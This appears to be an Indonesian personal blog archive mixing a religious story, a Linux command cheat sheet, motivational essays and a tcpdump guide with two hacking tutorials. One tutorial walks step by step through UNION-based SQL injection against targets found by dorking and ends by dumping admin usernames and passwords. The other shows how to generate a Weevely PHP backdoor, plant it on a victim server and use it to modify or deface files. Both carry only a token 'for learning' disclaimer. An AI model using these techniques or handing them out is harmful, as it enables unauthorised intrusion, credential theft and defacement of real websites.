My little note to share

ane copas ini dari note di facebook,,tapi setelah ane search udah ga ada jadi
maaf ga bisa kasih sumbernya...

Sebagai org yg sangat merindukan Rasulullah saw.... Tentunya kita semua sangat ingin bertemu dengan beliau...
Bahkan mungkin....saudara2 sekalian pernah berfikir 'kenapa aq g' hidup d zaman Rasulullah aja sih?'
dan jujur saja...saya pernah berfikis sperti itu...
Tetapi...stelah membaca membaca cerita ini, saya jamin...saudara/i skalian pasti bersyukur di lahirkan d zaman ini...^^
Selamat membaca...

suatu ketika setelah sholat subuh Rasulullah berbalik badan menghadap kepada para sahabatnya dan beliau
bertanya : "tahukah kalian siapakah yang imannya paling menakjubkan?" 
maka para sahabat menjawab : "para  malaikat" 
Rasul menjawab : "bagaimana mungkin para malaikat tidak beriman sedangkan mereka
melihat kekuasaan Allah secara langsung..."
lalu sahabat menjawab lagi : "kalau begitu yang imannya paling menakjubkan adalah para nabi dan Rasul"
Rasul menjawab : "bagaimana mungkin para nabi dan rasul tidak beriman sedangkan wahyu Allah turun atas
mereka..."
maka para sahabat menjawab lagi : "jika begitu yang imannya paling menakjubkan adalah sahabat2 para nabi
dan rasul"
Rasul menjawab : "bagaimana mungkin para sahabat nabi tidak beriman sedangkan nabi berada ditengah2 mereka dan mereka melihat mukjizat2:"
maka sahabat bertanya : "kalau begitu siapakah yang imannya palin menakjubkan Wahai Rasulullah"
Maka Rasulullah menjawab "yang imannya paling menakjubkan adalah orang2 yang datang setelah kalian...
mereka tidak pernah melihatku tetapi mereka percaya kepada apa yang aku bawa, mereka tidak pernah
berjumpa denganku tetapi mereka menerimaku, mereka tidak pernah berbicara denganku tetapi mereka
membelaku sebagaimana kalian membelaku... mereka hanya menemukan tulisan dan mereka beriman kepada
tulisan itu.. Sungguh aku rindu kepada saudara2ku itu"

wah, pagi sekali saya nulis di blog, yah dari pada gg ada kerjaan , mending nulis di blog...
itung itung, nungguin waktu nya anterin adek sepupu ke sekolah,,,, udahan tuh intro nya... di mulai ajha
oke...
let's go .......
1. File command

     file command berarti perintah perintah pada terminal, yang berhubungan dengan  folder, file dan sebagai nya... apa ajha.. yuk kita check di bawah
a. ls   = directory listing / melihatkan daftar folder yang ada pada direktori
b. ls -al = memperlihatkan daftar folder yang ada dalam sebuah direktori termasuk berupa folder yang
                hidden
c. cd dir = merubah direktori ke dir
d. cd = kembali ke home
e. pwd = menunjukan lokasi direktori
f. mkdir dir = membuat direktori dir
g. rm file = menghapus file
h. rm -f file = penghapusan file secara paksa
i. rm -rf dir = menghapus direktori secara pakasa
j. cp file1 file2 = copy file1 ke file2
k. cp -r dir1 dir2 =  mengkopi dir ke dir,
l. mv file1 file2 = memindahkan file1 ke file 2
m. ln -s file link =  membuat sebuah link simbol ke file
n. touch file = membuat atau memperbaharui file
o. cat = tempat inputan standar di terminal / console
p. more file = mengeluarkan semua file
q. head file = mengeluarkan 10 file pertama
r. tail file = mengeluarkan 10 file terakhir
s. tail -f file = mengeluarkan file terakhir pada konten
t. grown = memulai dengan 10 baris

2. pencarian menggunakan terminal

a. grep pattern files = penacarian dalam bentuk file
b. grep -r patternt dir = pencarian dalam bentuk direktori
c. command | grep pattern = pencarian untuk pola dalam perintah keluaran
d. locate file = mencari dengan mudah semua file

3. proses manajement

a. ps = memperlihatkan semua proses yang berlansung saat ini
b. top = memperlihatkan semua proses yang sedang berjalan
c. kill pid = memberhentikan semua proses pid
d. killall proc = meberhentikan semua proses dengan nama proc (gunakan dengan hati-hati ) :p
e. bg = memberhentikan/melanjutkan pekerjaan yang berjalan di Desktop
f. fg = mengkedepankan proses yang berjalan untuk di eksekusi terlebih dahulu
g. fg n = mengkedepan kan proses yang berjalan pada proses ke-n

4. shortcuts

a. Ctrl + C = mematikan pekerjaan yang bejalan di terminal / konsole
b. Ctrl + Z = memberhentikan pekerjaan yang berjalan di terminal / konsole, menjalankan kembali dengan
                     perintah f g dan bg
c. Ctrl +D =  log out sesi yang berjalan saat ini. shortcut ini hampir mirip dengan perintah exit
d. Ctrl + W = menghapus datu kata dalam baris perintah
e. Ctrl + U = menghapus semua perintah
f. Ctrl + R = membuka perintah yang baru di gunakan
g. ! ! = ulangi perintah terakhir
h. exit =  keluar dari sesi yang berjalan

hehehhehee, sampe sana dulu yah bro..., ntar kita lanjutin lagi..., ane mau ngatar adek dulu, trus tidur mau tidur dulu... hehehheheh

see you

regard


ERROR CONNECTION
keep learn and share brother...

mungkin netter pengen tau apa saja sih domain tiap-tiap negara, nih saya kasih domain tiap-tiap negara,

sumber :

silahkan gunain dork di bawah ini di google, yahoo.etc
Dork:

dah dapat kan web target masing masing, kalo udah yuk kita cari database nya

yuk ikuti sedikit langkah langkah jelek ane ini,

note : ini hanya untuk pembelajaran resiko di tanggung masing masing

oke, kita mulai
kita mendapat satu target, nah sekarang target kita itu masukan sqli nya kedalam, dengan cara menambahkan tanda kutip di akhir nya:

neh contoh nya :
http://www.target.com/index.php?id=20 (awal ketemu target, ente kenalan lansung aja, apa ada celah gg ma dia kalo ada celah lansung tembak aja, jadian dan selamat anda pacaran sama dia, selesai......)

dah itu aja... wkwkkwkwkwk

yuk kembali ke topik
tadi kan target dah dapat yuk kita injection dia http://www.target.com/index.php?id=20' (beri tanda kutip di akhr nya yah) kelihatan kan, lalu enter

kalo dah di akse, maka hasil nya harus dapat error kyak gini..
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''20''' at line 1

kalo gg ada di page nya coba lihat di sourcenya dan check ada error gg di source nya kalo ada, yuk ke tahap selanjutnya, kalo gg ada yah, kamu harus cari lagi, target lagi... wkkwkwkwkwk (berjuang brooo tetap semangat ya)

oke selanjutnya, kalo dah ada error nya sekarang kita cari berapa banyak table yang ada di dalam nya
http://www.target.com/index.php?id=20 order by 1-- (itu stripnya 2 kali yah order by 1 strip strip)
(harus dapat juga error nya) kalo gg dapat lanjukan no nya
kayak gini
http://www.target.com/index.php?id=-20 order by 2--
http://www.target.com/index.php?id=-20 order by 3--
http://www.target.com/index.php?id=-20 order by 4--
http://www.target.com/index.php?id=-20 order by 5--

kayak gini error nya Errore nella query: Unknown column '5' in 'order clause'
tiap-tiap target error nya beda beda, nah kalo gitu berarti table nya ada 4, karna erorrnya di 5, tp check dulu mungkin di 4 juga ada error, anda pasti bisa

oke next ya,

sekarang kita sudah tau berapa tabelnya, dan sekarang kita dapatkan angka ajaibnya, agar bisa kita mengetahui sql berapa yang di gunakan, yaitu menggunakan "union select"
ni contoh nya bro
http://www.target.com/index.php?id=-20 union select 1,2,3,4-- (tergantung berapa jumlah table kamu bro)
okeh ntar kamu dapat angka togel nya wkwkkwkwkwkwk, angka paling besar yah bro...
mungkin juga angka itu di Bold, ntar pasti ada beda nya bro

kalo udah sekarang kita cari versi sqlnya, misal nya angka togel itu di angka 2,
http://www.target.com/index.php?id=-20 union select 1,@@version,3,4
nah  itu pas di angka dua di ganti sama [@@version]
hasilnya bakal keluar 5.07.77 berarti itu versi nya versi 5, mungkin ada juga bakal nemuin versi 4, tp untuk versi 4 agak rumit diki, kali ini saya mungkin cuma bahas yang versi 5

oke selanjutnya kita cari nama table nya, pake perintah ini union select, atau union all select, okey

http://www.target.com/index.php?id=-20 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

nah ntar keluar nama nama table mungkin kayak gini, atau gimana itu hasil dari hunt kalian
admin,contact,banner,user

nah dari sana silahkan gunakan felling untuk mencari apa nama table nya

okeh kita sekarang cari nama coloumn
untuk mencari nama colomn kita harus conver dulu nama table nya ke hexadecimal
kamu bisa conver string to heck di sini >>converter
kalo sudah saat nya kita cari coloumn
sama seperti di atas tp ada yang berbeda
ini perbedaannya

http://www.target.com/index.php?id=-20 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

http://www.target.com/index.php?id=-20 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=0xhexadecimal()

lihatkan beda nya... kalo tidak yuk lebih detail lagi,,,
group_concat(table_name) diganti dengan group_concat(column_name)
information_schema.tables diganti dengan information_schema.columns
table_schema diganti dengan table_name
database di ganti dengan hasil conver tdi

*//pahami sendiri yah pemakaian nya...
oke dah bisa kan...

nah ntar hasil nya kayak gini lah
id,user_name password

kalo udah dapat sekrang kita lihat apa isi dari id, user_name sama password

http://www.target.com/index.php?id=-20 union all select 1,group_concat(id,0x3a,user_name,0x3a.password),3,4 from nama_table

saya jelasasin dikit apa fungsi dari 0x3a, 0x3a a berfungsi sebagai pemberi jarak antara id, user_name, password,

contoh nya

http://www.target.com/index.php?id=-20 union all select 1,group_concat(id,0x3a,user_name,0x3a.password),3,4 from admin--

nah mucul tuh isi nya....

Sekarang Tinggal cari admin page

Jika semua yang kita kehendaki terus kita MILIKI, darimana kita belajar IKHLAS
Jika semua yang kita impikan segera TERWUJUD, darimana kita belajar SABAR
Jika setiap doa kita terus DIKABULKAN, bagaimana kita dapat belajar IKHTIAR.

Seorang yang dekat dengan Tuhan, bukan berarti tidak ada air mata
Seorang yang taat pada Tuhan, bukan berarti tidak ada kekurangan
Seorang yang tekun berdoa, bukan berarti tidak ada masa sulit
Biarlah Tuhan yang berdaulat sepenuhnya atas hidup kita, karena Dia tahu yang tepat untuk memberikan yang terbaik.

Ketika kerjamu tidak dihargai, maka saat itu kamu sedang belajar tentang KETULUSAN
Ketika usahamu dinilai tidak penting, maka saat itu kamu sedang belajar KEIKHLASAN
Ketika hatimu terluka sangat dalam, maka saat itu kamu sedang belajar tentang MEMAAFKAN.
Ketika kamu lelah dan kecewa, maka saat itu kamu sedang belajar tentang KESUNGGUHAN
Ketika kamu merasa sepi dan sendiri, maka saat itu kamu sedang belajar tentang KETANGGUHAN
Ketika kamu harus membayar biaya yang sebenarnya tidak perlu kau tanggung, maka saat itu kamu


sedang belajar tentang KEMURAHAN HATI.
Tetap semangat….
Tetap sabar….
Tetap tersenyum…..
Karena kamu sedang menimba ilmu di UNIVERSITAS KEHIDUPAN

TUHAN menaruhmu di “tempatmu” yang sekarang, bukan karena “KEBETULAN”
Orang yang HEBAT tidak dihasilkan melalui kemudahan, kesenangan, dan kenyamanan
MEREKA di bentuk melalui KESUKARAN, TANTANGAN & AIR MATA.

Seorang pria tersesat di gurun pasir. Ia hampir mati kehausan. Akhirnya, ia tiba di sebuah rumah kosong. Di depan rumah tua tanpa jendela dan hampir roboh itu, terdapat sebuah pompa air. Segera ia menuju pompa itu dan mulai memompa sekuat tenaga. Tapi, tidak ada air yang keluar.
Lalu ia melihat ada kendi kecil di sebelah pompa itu dengan mulutnya tertutup gabus dan tertempel kertas dengan tulisan,”Sahabat, pompa ini harus dipancing dengan air dulu.. Setelah Anda mendapatkan airnya, mohon jangan lupa mengisi kendi ini lagi sebelum Anda pergi.” Pria itu mencabut gabusnya dan ternyata kendi itu berisi penuh air.
“Apakah air ini harus dipergunakan untuk memancing pompa? Bagaimana kalau tidak berhasil? Tidak ada air lagi. Bukankah lebih aman saya minum airnya dulu daripada nanti mati kehausan kalau ternyata pompanya tidak berfungsi? Untuk apa menuangkannya ke pompa karatan hanya karena instruksi di atas kertas kumal yang belum tentu benar?” Begitu pikirnya.
Untung suara hatinya mengatakan bahwa ia harus mencoba mengikuti nasihat yang tertera
di kertas itu, sekali pun berisiko. Ia menuangkan seluruh isi kendi itu ke dalam pompa yang
karatan itu dan dengan sekuat tenaga memompanya.

Benar!! Air keluar dengan melimpah. Pria itu minum sepuasnya.

setelah istirahat memulihkan tenaga dan sebelum meninggalkan tempat itu,

ia mengisi kendi itu sampai penuh, menutupkan kembali gabusnya dan menambahkan

beberapa kata di bawah instruksi pesan itu: “Saya telah melakukannya dan berhasil.

Engkau harus mengorbankan semuanya terlebih dahulu sebelum bisa menerima

kembali secara melimpah. PERCAYALAH!! Inilah kebenaran hukum alam.”

semoga dengan cerita ini para pembaca bisa mendapatkan sedikit motivasi,
"berkorban lah sedikit maka anda akan mendapatkan lebih dari pada yang anda ingin kan"

Weevely merupakan sebuah tool web backdoor yang sangat keren,paling tidak menurut saya peribadi. Kenapa ? ya  karena via console,bagi saya bisa menjalankan tool via konsole merupakan hal yang keren.heheh. Kalau tool GUI kan anak kecil aja juga bisa makeknya.heheh (becanda). Bila kita sudah berhasil upload itu backdoor, kita sudah bisa edit,membuat,download dan upload file hanya dari console terminal.keren kan??heheh.Bagi sahabat – sahabat  yang memakai backbox linux,tool ini sudah tersedia. Untuk distro lainnya saya kurang tahu.
Oke langsung aja kita bahas cara pemakaiannya.
1.Cara create file backdoor.php nya..

ketik di console weevely generate <password> <output path>
misalnya kita mau menaruh file backdoornya di Destop gini caranya
weevely generate password /root/Destop/backdoor.php
setelah kita ketikkan perintah tersebut maka akan tercipta sebuah file backdoor.php di Destop kita.
2. Selanjutnya setelah file backdoornya sudah jadi maka silahkan sahabat – sahabat upload file backdoor.php tadi ke webserver yang jadi sasaran sahabat. Untuk caranya  tidak saya bahas di sini.Cari aja caranya di google banyak kok.
3. Misalkan file backdoor.php sudah kita upload di server dengan alamathttp://www.victim.com/backdoor.php.
Kita ketikkan perintah weevely http://www.victim.com/backdoor.php password
Jika sukses maka kemungkinan besar kita sudah bisa untuk ngapain aja di server itu, mau ngedit,hapus,buat ,upload dan upload file di server tersebut. Coba sahabat – sahabat ketikkan perintah – perintah command line di situ.Misalkan kita ketikan perintah ls, pasti akan terlihat semua file yang ada di dalam direktory tersebut. Mau deface juga bisa.heheh
4. Perintah untuk upload file ,misalnya kita mau upload file errorconnection.php . maka caranya sebagai berikut.
:file.upload /path_file_yang_akan_kita_upload/errorconnection.php /Path_untuk_menaruh_file_yang_kita_upload/errorconnection.php
Itu tadi adalah sedikit tentang penggunaan weevely, untuk mengetahui lebih banyak perintah – perintahnya, sahabat bisa memasukkan peritah weevely -h .
Semoga bermanfa’at….

wah, malam ini ane ingat kembali ama teman lama, karna malam ne ane chating ma teman, asli ngakak

hahahahahhaaaa, chetingan malam ini asli bikin ngakak, kenapa musti nyalahin diri sendiri yah

pengen juga sih buat postinga tentang brotherhood,
ane mulai ajha yah

sahabat
sahabat itu adalah sebuah kata yang bakal ane respon dengan sangat cepat, walau itu bakal nyusahin, nyakitin, yah begitu lah kehidupan ane, karena untuk mencari seorang sahabat itu amat lah susah, karna bagi ane sahabat itu bukan lah tempat dimana ane bakal mencari kesenangan, mungki pesepsi kita beda, mungkin juga sama, jika kalian punya presepsi teman lah yang terbaiik, atau sahabat, jagalah itu sebaik mungkin, karna mencari satu gg semudah membalikan telapak tangan.


keingin yang di harapan dari seorang sahabat,

"Saya nggak berharap untuk jadi orang yang terpenting dalam hidup kamu, itu permintaan yang terlalu besar. Saya cuma berharap suatu hari nanti kalo dengar nama saya, kamu bakal tersenyum dan bilang, dia sahabat saya"

neh ada sediit kutipan

"Seorang teman tetap memberi ruang gerak pribadi, privacy sebagai seorang manusia. Dan kita akan berasa deket dengan dia walaupun ga ketemu dan ga kontak dalam waktu yang lama. Karena pertemanan itu pada dasarnya dari ikatan hati. Ga bakal ilang walaupun dimensi jarak memisahakan kita. Kita harus mengkui bagaimanapun juga kita ga bisa menghilangkan dia dari hati kita. Dan tanpa teman, kita ga akan seperti sekarang ini"

nah 

wah ini awal catatan ane di dunia maya nih, walau sedikit acak acakan, mungkin dapat membantu Mas bro dan Mbak bro sekalian

ane coba mulai yah, semoga bermanfaat

Tcpdump adalah sebuah tool yang berfungsi untuk melihat paket data yang berjalan di jaringan anda, ane sih testing nya menggunakan Backtrack 5 R2, mungkin rekan rekan yang lain dapat menggunakan linux, or windows.

TCPDUMP
=======
Tcpdump adalah program yang benar-benar berguna untuk menangkap paket-paket data yang ada di jaringan. tools ini dapat digunakan untuk melihat paket data yang akan melalui interface, di dalam sebuah jaringan dengan hub, atau pada jaringan switched

Output dari tcpdump dapat dikirim / ditulis ke file mentah menggunakan perintah -w dan dapat dilihat dengan tcpdump (menggunakan perintah -r), file capture dari tcpdump dapat juga dibaca dengan tools Wireshark.

Perintah perintah yang di gunakan untuk Tcpdump

#tcpdump -D
Untuk melihat interface yang ada

# tcpdump -i <interface>
Menangkap paket dari interface tertentu. Ketika dieksekusi perintah tcpdump tanpa pilihan apapun, itu akan menangkap semua paket yang mengalir melalui semua interface. Opsi -i memungkinkan untuk menyaring pada interface tertentu.

# tcpdump -c <value> -i <interface>
Hanya menangkap jumlah ke-N pada paket. Ketika dieksekusi perintah tcpdump, ini memberikan paket sampai membatalkan perintah tcpdump. Menggunakan opsi -c dapat menentukan jumlah paket yang akan ditangkap. Misal, hanya menangkap 2 paket dari intercafe.

# tcpdump -A -i <interface>
Menangkap tampilan paket dalam bentuk ASCII. Tambahkan opsi -A untuk mencetak paket dalam bentuk ASCII.

# tcpdump -XX -i <interface>
Menangkap tampilan paket dalam HEX dan ASCII. Beberapa pengguna mungkin ingin menganalisa paket dalam nilai hex, tcpdump menyediakan cara untuk mencetak paket dalam format kedua-duanya yaitu format ASCII dan HEX. Gunakan opsi -XX.

# tcpdump -w nama_file.pcap -i <interface>
Menangkap paket dan menulis ke file tcpdump memungkinkan untuk menyimpan paket ke file. Kemudian dapat digunakan paket file untuk analisis lebih lanjut. Gunakan opsi -W. Opsi ini menulis paket kedalam file yang diberikan. Ekstensi file harus .pcap / .log yang dapat dibaca oleh setiap protokol jaringan analyzer.

# tcpdump -n -i <interface>
Menangkap paket dengan alamat IP. Tambahkan opsi -n untuk menangkap paket dan ini akan menampilkan alamat IP dari mesin yang terlibat.

# tcpdump -w nama_file.pcap greater <byte N>
# tcpdump -w nama_file.pcap less <byte N>
Membaca paket lebih besar atau lebih rendah dari N byte. Ini hanya dapat menerima paket lebih besar dari jumlah n byte menggunakan filter greater melalui perintah tcpdump dapat pula menerima paket lebih rendah dari jumlah n byte menggunakan filter less.

# tcpdump -F nama_file -i <interface> -c <value>
Untuk melakukan filter terhadap paket data yang akan di tangkap oleh tcpdump

wah akhir nya selesai juga catatan pertama ane,
oya tentang TCPDump udah banyak merajalela di google, jika masih merasa kurang silahkan surfing lagi yah google nya,

keep spirit and keep sharing

regard, Error Connection